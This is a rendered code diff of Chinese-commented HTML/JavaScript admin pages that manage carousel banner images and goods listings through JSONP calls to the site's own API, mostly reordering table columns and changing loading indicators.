| | | jumpNeedLogin: item[5].key, // 是否需要登录 |
| | | autoControl: item[6].key, // 自动控制 |
| | | startTime_str: item[7].key, // 起始时间 |
| | | endTime_str: item[8].key, // 结束时间 |
| | | bannerId: bannerId, // 轮播图id
|
| | | autoControl: item[3].key, // 自动控制
|
| | | startTime_str: item[4].key, // 起始时间
|
| | | endTime_str: item[5].key, // 结束时间 |
| | | jumpType: item[6].key, // 跳转方式 |
| | | params: item[7].key, // 跳转参数 |
| | | jumpNeedLogin: item[8].key, // 是否需要登录 |
| | | remark: item[9].key, // 备注 |
| | | }; |
| | | };
|
| | | |
| | | if (item[2].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/savePicInfo", |
| | | data: mydata, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][1].key); |
| | | zu_id.push(mo[i][10].key); |
| | | } |
| | | // 发起请求 |
| | | doui.showLoading("正在删除"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/deletePicInfo", |
| | |
| | | idArray: zu_id |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | touchSubmit: function(thereData) { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在修改"); |
| | | // 请求数据 |
| | | var mydata = { |
| | | bannerId: bannerId, // 轮播图id |
| | | state: item[0].key, // 启用状态 |
| | | id: item[1].key, // ID |
| | | jumpType: item[3].key, // 跳转方式 |
| | | params: item[4].key, // 跳转参数 |
| | | jumpNeedLogin: item[5].key, // 是否需要登录 |
| | | autoControl: item[6].key, // 自动控制 |
| | | startTime_str: item[7].key, // 起始时间 |
| | | endTime_str: item[8].key, // 结束时间 |
| | | remark: item[9].key, // 备注 |
| | | }; |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | |
| | | // 请求数据
|
| | | var mydata = {
|
| | | bannerId: bannerId, // 轮播图id
|
| | | autoControl: item[3].key, // 自动控制
|
| | | startTime_str: item[4].key, // 起始时间
|
| | | endTime_str: item[5].key, // 结束时间
|
| | | jumpType: item[6].key, // 跳转方式
|
| | | params: item[7].key, // 跳转参数
|
| | | jumpNeedLogin: item[8].key, // 是否需要登录
|
| | | remark: item[9].key, // 备注
|
| | | id: item[10].key, // ID
|
| | | };
|
| | | |
| | | if (item[2].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | } |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/savePicInfo", |
| | | data: mydata, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[10].key, |
| | | moveType: "-1", |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[1].key == item[1].key) { |
| | | if (mo[i].td[10].key == item[01].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | | } |
| | | // 直接更换顺序 |
| | | upRecord(vm_table.tbody.tr, thisIndex); |
| | | |
| | | |
| | | } |
| | | } |
| | | }); |
| | |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | doui.showLoading(); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveOrder", |
| | | data: { |
| | | id: item[1].key, |
| | | id: item[10].key, |
| | | moveType: "1", |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[1].key == item[1].key) { |
| | | if (mo[i].td[10].key == item[10].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | |
| | | versionControl.init($("#versionControl")); |
| | | }, 100); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/switchStatePic",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | <head> |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>轮播图子级管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" /> |
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/versionControl.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | | // 雷打不动 |
| | | getHostPath() + "js/jquery.min.js", |
| | | getHostPath() + "js/vue.min.js", |
| | | // 字体图标 |
| | | getHostPath() + "fontAdmin/iconfont.css", |
| | | getHostPath() + "font/iconfont.css", |
| | | // dom模板 |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | ], |
| | | }); |
| | | </script> |
| | | </head> |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | | |
| | | <!-- =============================================================== 表格 --> |
| | | <div id="thisTable" class="admin-main-overHeader"></div> |
| | | |
| | | </div> |
| | | </body> |
| | | </html> |
| | | |
| | | <script type="text/javascript"> |
| | | var specialId = null; |
| | | |
| | | function getVersions(id) { |
| | | specialId = id; |
| | | // 平台版本获取 |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/getVersions", |
| | | data: { |
| | | id: id |
| | | }, |
| | | async: false, |
| | | success: function(res) { |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | versionControl.setVersions(specialId, res.data, function(ids) { |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/setVersions", |
| | | data: { |
| | | id: specialId, |
| | | versions: JSON.stringify(ids) |
| | | }, |
| | | async: false, |
| | | success: function(res) { |
| | | if (res.code == 0) { |
| | | layer.msg("设置成功"); |
| | | } else { |
| | | layer.msg(res.msg); |
| | | } |
| | | } |
| | | }); |
| | | }); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // ==================================================================================== 页面数据 |
| | | // 轮播图id |
| | | var bannerId = null; |
| | | |
| | | // doui准备完毕 |
| | | doui.onReady({ |
| | | success: function() { |
| | | // ----------------------------------------------------- 顶部 |
| | | // 生成顶部筛选项dom |
| | | adminDom.header.creat({ |
| | | el: "#thisHeader" |
| | | }); |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ |
| | | placeholder: "当前页面没有搜索功能", |
| | | }); |
| | | // 筛选项 |
| | | adminDom.header.screen({ |
| | | show: false, |
| | | }); |
| | | // ----------------------------------------------------- 表格 |
| | | // 表格dom创建 |
| | | adminDom.table.creat({ |
| | | el: "#thisTable", |
| | | // 搜索触发 |
| | | touchSearch: function(optC) { |
| | | var data = { |
| | | pageIndex: optC.table.page, // 页码 |
| | | pageSize: optC.table.pageSize, // 每页数量 |
| | | bannerId: bannerId, // 轮播图id |
| | | }; |
| | | |
| | | var platfrom = versionControl.getPlatform(); |
| | | var version = versionControl.getVersion(); |
| | | |
| | | if (platfrom!=null) |
| | | data.platform =platfrom; |
| | | if (version!=null) |
| | | data.version = version; |
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/queryPicInfo", |
| | | data: data, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | | }); |
| | | } else { |
| | | // 申明 表格内容数据 |
| | | var mo_tr = []; // tr组 |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) { |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [
|
| | | {
|
| | | title: "图片",
|
| | | key: mo[i].src,
|
| | | value: mo[i].src,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "版本选择",
|
| | | key: mo[i].id,
|
| | | value: '版本查询',
|
| | | dataType: 'btn',
|
| | | click: "getVersions(" + mo[i].id + ")"
|
| | | },
|
| | | { |
| | | title: "启用状态", |
| | | key: mo[i].state, |
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch', |
| | | click: "switchState(" + mo[i].id + ")" |
| | | }, |
| | | { |
| | | title: "自动控制", |
| | | key: mo[i].autoControl, |
| | | value: mo[i].autoControl == 1 ? "是" : "否", |
| | | "class": mo[i].autoControl == 1 ? "font-green" : "font-red" |
| | | }, |
| | | { |
| | | title: "起始时间", |
| | | key: mo[i].startTime_str, |
| | | value: mo[i].startTime_str |
| | | }, |
| | | { |
| | | title: "结束时间", |
| | | key: mo[i].endTime_str, |
| | | value: mo[i].endTime_str |
| | | },
|
| | | {
|
| | | title: "跳转方式",
|
| | | key: mo[i].jumpDetail.type,
|
| | | value: mo[i].jumpDetail.name
|
| | | },
|
| | | {
|
| | | title: "跳转参数",
|
| | | key: mo[i].params,
|
| | | value: mo[i].params
|
| | | },
|
| | | {
|
| | | title: "跳转是否需要登录",
|
| | | key: mo[i].jumpNeedLogin,
|
| | | value: mo[i].jumpNeedLogin ? "需要" : "不需要"
|
| | | }, |
| | | { |
| | | title: "备注", |
| | | key: mo[i].remark, |
| | | value: mo[i].remark |
| | | }, |
| | | { |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | ], |
| | | }; |
| | | |
| | | // 跳转参数 |
| | | if (typeof(thatTr.td[7].key) == "object") { |
| | | thatTr.td[7].value = JSON.stringify(thatTr.td[7].key); |
| | | thatTr.td[7].key = JSON.stringify(thatTr.td[7].key); |
| | | } |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | | // 更新表格的数据 |
| | | adminDom.table.opt({ |
| | | pageMax: res.data.pe.totalPage |
| | | }); // 最大页码 |
| | | adminDom.table.tbody({ |
| | | tr: mo_tr |
| | | }); // 内容数据 |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | // 表格设置 |
| | | adminDom.table.opt({ |
| | | pageSize: 20, |
| | | }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [
|
| | | {
|
| | | title: "图片",
|
| | | width: "0.8rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | }, |
| | | { |
| | | title: "版本选择", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | {
|
| | | title: "启用状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "自动控制",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "起始时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | },
|
| | | {
|
| | | title: "结束时间",
|
| | | width: "0.6rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "datetime-local"
|
| | | },
|
| | | }, |
| | | { |
| | | title: "跳转方式", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [], |
| | | }, |
| | | }, |
| | | { |
| | | title: "跳转参数", |
| | | width: "0.8rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "textarea", |
| | | placeholder: '如:{"url":"http://www.baidu.com","name":"百度跳转"}', |
| | | }, |
| | | }, |
| | | { |
| | | title: "跳转需要登录", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "switch", |
| | | }, |
| | | }, |
| | | |
| | | { |
| | | title: "备注", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "textarea" |
| | | }, |
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | } |
| | | ] |
| | | }); |
| | | // 跳转方式获取 |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/jumpDetail/getJumpOption", |
| | | success: function(res) { |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | // 循环所有跳转方式 |
| | | var listC = new Array(); |
| | | for (var i = 0, mo = res.data.result_list; i < mo.length; i++) { |
| | | var jiedian = { |
| | | key: mo[i].type, |
| | | value: mo[i].name |
| | | }; |
| | | listC.push(jiedian); |
| | | } |
| | | // 重置表格头排 |
| | | vm_table.thead.th[6].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | | list: [{ |
| | | "title": "新建", |
| | | "name": "add", |
| | | "icon": "fi fi-plus" |
| | | }, |
| | | { |
| | | "title": "删除", |
| | | "name": "del", |
| | | "icon": "fi fi-trash" |
| | | }, |
| | | { |
| | | "title": "修改", |
| | | "name": "edit", |
| | | "icon": "fi fi-edit-box" |
| | | }, |
| | | { |
| | | "title": "上移", |
| | | "name": "moveUp", |
| | | "icon": "fi fi-up-point" |
| | | }, |
| | | { |
| | | "title": "下移", |
| | | "name": "moveDown", |
| | | "icon": "fi fi-down-point" |
| | | }, |
| | | ], |
| | | touch: function(back) { |
| | | // 新建 |
| | | if (back.toolName == "add") { |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | | touchSubmit: function(thereData) { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | bannerId: bannerId, // 轮播图id
|
| | | autoControl: item[3].key, // 自动控制
|
| | | startTime_str: item[4].key, // 起始时间
|
| | | endTime_str: item[5].key, // 结束时间 |
| | | jumpType: item[6].key, // 跳转方式 |
| | | params: item[7].key, // 跳转参数 |
| | | jumpNeedLogin: item[8].key, // 是否需要登录 |
| | | remark: item[9].key, // 备注 |
| | | };
|
| | | |
| | | if (item[2].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | }
|
| | | |
| | | // 如果修改了图片 |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/savePicInfo", |
| | | data: mydata, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | doui.showToast("新建成功"); |
| | | adminDom.editTan.remove(); |
| | | vm_table.search(); |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | adminDom.editTan.opt({ |
| | | title: "新建" |
| | | }); |
| | | adminDom.editTan.thereData({ |
| | | show: false, |
| | | }); |
| | | } |
| | | |
| | | // 删除 |
| | | else if (back.toolName == "del") { |
| | | // 被选中的行id组构建 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][10].key); |
| | | } |
| | | // 发起请求 |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/deletePicInfo", |
| | | data: { |
| | | idArray: zu_id |
| | | }, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | doui.showToast("删除成功"); |
| | | vm_table.search(); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 修改列表 |
| | | else if (back.toolName == "edit") { |
| | | if (back.list.length > 1) { |
| | | doui.showToast({ |
| | | content: "一次只能操作一个" |
| | | }); |
| | | return false; |
| | | } |
| | | |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | | touchSubmit: function(thereData) { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | |
| | | // 请求数据
|
| | | var mydata = {
|
| | | bannerId: bannerId, // 轮播图id
|
| | | autoControl: item[3].key, // 自动控制
|
| | | startTime_str: item[4].key, // 起始时间
|
| | | endTime_str: item[5].key, // 结束时间
|
| | | jumpType: item[6].key, // 跳转方式
|
| | | params: item[7].key, // 跳转参数
|
| | | jumpNeedLogin: item[8].key, // 是否需要登录
|
| | | remark: item[9].key, // 备注
|
| | | id: item[10].key, // ID
|
| | | };
|
| | | |
| | | if (item[2].key == 1) {
|
| | | mydata.state = 0;
|
| | | } else {
|
| | | mydata.state = 1;
|
| | | } |
| | | // 如果修改了图片 |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 信息上传 |
| | | doui.upload({ |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/savePicInfo", |
| | | data: mydata, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | doui.showToast("修改成功"); |
| | | adminDom.editTan.remove(); |
| | | vm_table.search(); |
| | | } |
| | | } |
| | | }); |
| | | }, |
| | | }); |
| | | adminDom.editTan.opt({ |
| | | title: "修改" |
| | | }); |
| | | adminDom.editTan.thereData({ |
| | | show: true, |
| | | list: back.list[0] |
| | | }); |
| | | } |
| | | |
| | | // 上移 |
| | | else if (back.toolName == "moveUp") { |
| | | if (back.list.length > 1) { |
| | | doui.showToast({ |
| | | content: "一次只能操作一个" |
| | | }); |
| | | return false; |
| | | } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveOrder", |
| | | data: { |
| | | id: item[10].key, |
| | | moveType: "-1", |
| | | }, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | //vm_table.search(); |
| | | |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[10].key == item[01].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | | } |
| | | // 直接更换顺序 |
| | | upRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | // 下移 |
| | | else if (back.toolName == "moveDown") { |
| | | if (back.list.length > 1) { |
| | | doui.showToast({ |
| | | content: "一次只能操作一个" |
| | | }); |
| | | return false; |
| | | } |
| | | // 当前数据 |
| | | var item = back.list[0]; |
| | | // 信息上传 |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/saveOrder", |
| | | data: { |
| | | id: item[10].key, |
| | | moveType: "1", |
| | | }, |
| | | success: function(res) { |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | | // 获取当前行顺序 |
| | | var thisIndex = null; |
| | | for (var i = 0, mo = vm_table.tbody.tr; i < mo.length; i++) { |
| | | if (mo[i].td[10].key == item[10].key) { |
| | | thisIndex = i; |
| | | break; |
| | | } |
| | | } |
| | | // 直接更换顺序 |
| | | downRecord(vm_table.tbody.tr, thisIndex); |
| | | } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | } |
| | | }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 初始操作 |
| | | // 获取传递过来的id |
| | | doui.urlParam({ |
| | | success: function(res) { |
| | | bannerId = res.id; |
| | | } |
| | | }); |
| | | // 模拟搜索点击 |
| | | vm_table.search(); |
| | | setTimeout(function() { |
| | | $("#admin-header").find(".admin-btn-roundM").eq(0).after( |
| | | "<div class='fboxRow Ycenter' id='versionControl'></div>"); |
| | | versionControl.init($("#versionControl")); |
| | | }, 100); |
| | | } |
| | | });
|
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/swiperbanner/switchStatePic",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | } |
| | | </script> |
| | |
| | | <meta charset="utf-8"> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>商品管理</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/>
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" /> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 搜索触发 |
| | | touchSearch: function (optC) |
| | | { |
| | | doui.showLoading({ content: "加载列表" }); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/blGoods/query", |
| | |
| | | }, |
| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else |
| | | { |
| | |
| | | // 当前行 |
| | | var thatTr = { |
| | | check: false, |
| | | td: [ |
| | | { title: "状态", key: mo[i].state, value: mo[i].state }, |
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | { title: "名称", key: mo[i].title, value: mo[i].title }, |
| | | { title: "封面图标", key: mo[i].picture, value: mo[i].picture, dataType: "img" }, |
| | | td: [
|
| | | { title: "封面图标", key: mo[i].picture, value: mo[i].picture, dataType: "img" },
|
| | | { title: "方形图片", key: mo[i].squarePicture, value: mo[i].squarePicture, dataType: "img" }, |
| | | { title: "名称", key: mo[i].title, value: mo[i].title }, |
| | | { title: "状态", key: mo[i].state, value: mo[i].state, dataType: 'btnSwitch', click: "switchState(" + mo[i].id + ")"},
|
| | | { title: "分类", key: mo[i].goodsClass.id, value: mo[i].goodsClass.name }, |
| | | { title: "充值类型", key: mo[i].chargeType, value: mo[i].chargeType }, |
| | | { title: "商品简介", key: mo[i].desc, value: mo[i].desc }, |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight }, |
| | | { title: "权重", key: mo[i].weight, value: mo[i].weight },
|
| | | { title: "ID", key: mo[i].id, value: mo[i].id }, |
| | | ] |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; thatTr.td[0]["class"] = "font-red"; |
| | | } |
| | | |
| | | // 将当前行放入tr组 |
| | | mo_tr.push(thatTr); |
| | | } |
| | |
| | | adminDom.table.opt({ pageSize: 20, }); |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | th: [ |
| | | { title: "状态", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [ |
| | | { key: 0, value: "禁用" }, |
| | | { key: 1, value: "启用"} , |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "ID", width: "", orderUp: "", orderDown: "" }, |
| | | { title: "名称", width: "", orderUp: "", orderDown: "", |
| | | th: [
|
| | | { title: "方形图片", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | { title: "封面图标", width: "0.6rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "file",
|
| | | },
|
| | | },
|
| | | { title: "名称", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | },
|
| | | { title: "状态", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | { title: "封面图标", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | { title: "分类", width: "0.4rem", orderUp: "", orderDown: "",
|
| | | edit: {
|
| | | type: "select",
|
| | | list: [],
|
| | | },
|
| | | }, |
| | | { title: "方形图片", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "file", |
| | | }, |
| | | }, |
| | | |
| | | { title: "分类", width: "", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [], |
| | | }, |
| | | }, |
| | | { title: "充值类型", width: "", orderUp: "", orderDown: "", |
| | | { title: "充值类型", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { |
| | | type: "select", |
| | | list: [ |
| | |
| | | ], |
| | | }, |
| | | }, |
| | | { title: "商品简介", width: "", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | { title: "商品简介", width: "0.6rem", orderUp: "", orderDown: "", |
| | | edit: { type: "textarea" }, |
| | | }, |
| | | { title: "权重", width: "", orderUp: "", orderDown: "", |
| | | { title: "权重", width: "0.4rem", orderUp: "", orderDown: "", |
| | | edit: { type: "text" }, |
| | | }, |
| | | },
|
| | | { title: "ID", width: "0.4rem", orderUp: "", orderDown: "" }, |
| | | ] |
| | | }); |
| | | |
| | |
| | | listC.push(jiedian); |
| | | } |
| | | // 重置表格头排 |
| | | vm_table.thead.th[5].edit.list = listC; |
| | | vm_table.thead.th[4].edit.list = listC; |
| | | } |
| | | } |
| | | }); |
| | |
| | | { |
| | | // 当前数据 |
| | | var item = thereData.list; |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | // 请求数据 |
| | | var mydata = { |
| | | title: item[2].key, // 名称 |
| | | "goodsClass.id": item[5].key, // 分类id |
| | | chargeType: item[6].key, // 名称 |
| | | desc: item[7].key, // 名称 |
| | | title: item[2].key, // 名称
|
| | | state: item[3].key, |
| | | "goodsClass.id": item[4].key, // 分类id |
| | | chargeType: item[5].key, // 名称 |
| | | desc: item[6].key, // 名称 |
